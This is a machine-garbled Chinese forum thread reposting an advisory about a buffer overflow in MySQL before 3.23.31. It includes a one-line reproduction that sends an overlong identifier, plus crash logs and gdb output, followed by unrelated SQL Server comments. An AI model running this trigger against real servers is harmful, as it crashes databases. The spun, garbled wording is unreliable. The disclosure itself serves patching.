仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 773|回复: 7
打印 上一主题 下一主题

[学习教程] 发布MySQL3.23.31之前版本的平安毛病

[复制链接]
小妖女 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-1-16 20:12:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
到2009年,甲骨文的数据库Oracle已经诞生了30周年,而MySQL却连它的一半时间都没有。微软的SQLServer仅仅比MySQL大两年,但是SQLServer的发布是建立在Sybase的基础上。一切小于3.23.31版本的MySQL都存在一个缓冲溢露马脚招致MySQL溃散。使打击者取得mysqld权限,而能够利用一切数据库。打击的条件是必需有一个正当的登录名和口令。



上面为最后宣布于MySQL邮件列表的函件择要。

==================================================


毛病是由Jo?oGouveia于1月12日发明的:

步骤:


在第一个终端上启动mysql:


spike:/var/mysql#/sbin/init.d/mysqlstart


在别的一个终端上输出:

jroberto@spike:~>mysql-p-e’selecta.’`perl-e’PRintf("A"x130)’`’.b’

EnterpassWord:

(没有反响?按^C加入)


在第一台终端上会显现:


spike:/var/mysql#/usr/bin/safe_mysqld:line149:15557Segmentationfault

nohup

$ledir/mysqld--basedir=$MY_BASEDIR_VERSION--datadir=$DATADIR--skip-lockin

g"$@">>$err_log2>&1>

Numberofprocessesrunningnow:0

mysqldrestartedonFriJan1207:10:54WET2001

mysqlddaemonended


利用gdb显现了局以下:


(gdb)run

Startingprogram:/usr/sbin/mysqld

[NewThread16897(managerthread)]

[NewThread16891(initialthread)]

[NewThread16898]

/usr/sbin/mysqld:readyforconnections

[NewThread16916]

[SwitchingtoThread16916]


ProgramreceivedsignalSIGSEGV,Segmentationfault.

0x41414141in??()

(gdb)infoall-registers

eax0x11

ecx0x68104

edx0x8166947135686471

ebx0x414141411094795585

esp0xbf5ff4080xbf5ff408

ebp0x414141410x41414141

esi0x414141411094795585

edi0x00

eip0x414141410x41414141

eflags0x1024666118

cs0x2335

ss0x2b43

ds0x2b43

es0x2b43

fs0x00

gs0x00


个中的eip唆使就是缓冲溢出了。


办理举措就是晋级到3.23.31。以是,列位假如还没有把数据库晋级到最新版本,请从速举动。


客户还是可以使用DBaaS系统所能提供的所有能力。数据库云服务消除了组织对专职人员、本地数据库存储设备的需要。他们不必安装、配置和维护任何软硬件。
admin 该用户已被删除
沙发
发表于 2015-1-18 18:34:23 | 只看该作者
语句级快照和事务级快照终于为SQLServer的并发性能带来了突破。个人感觉语句级快照大家应该应用。事务级快照,如果是高并发系统还要慎用。如果一个用户总是被提示修改不成功要求重试时,会杀人的!
若天明 该用户已被删除
板凳
发表于 2015-1-27 05:44:14 来自手机 | 只看该作者
SQLServer的异构移植功能个人感觉最好了。(如果对比过SQLServer的链接服务器和Oracle的透明网关的朋友会发现SQLServer的sp_addlinkedserver(openquery)异构数据库系列比Oracle真是强太多了。)
乐观 该用户已被删除
地板
发表于 2015-2-5 03:32:12 | 只看该作者
记得在最开始使用2k的时候就要用到这个功能,可惜2k没有,现在有了作解决方案的朋友会很高兴吧。
山那边是海 该用户已被删除
5#
发表于 2015-3-1 21:08:14 | 只看该作者
sqlserver的痛苦之处在于有用文档的匮乏,很多只是表明的东西
再见西城 该用户已被删除
6#
发表于 2015-3-11 00:14:21 | 只看该作者
这就引发了对varchar和char效率讨论的老问题。到底如何分配varchar的数据,是否会出现大规模的碎片?
小魔女 该用户已被删除
7#
发表于 2015-3-17 16:46:38 | 只看该作者
数据库物理框架没有变动undo和redo都放在数据库得transaction中,个人感觉是个败笔。如果说我们在设计数据库的时候考虑分多个数据库,可能能在一定程度上避免I/O效率问题。
只想知道 该用户已被删除
8#
发表于 2015-3-24 13:57:44 | 只看该作者
varchar(max)\\\\nvarchar(max)类型的引入大大的提高了编程的效率,可以使用字符串函数对CLOB类型进行操作,这是一个亮点。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-12-23 02:34

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表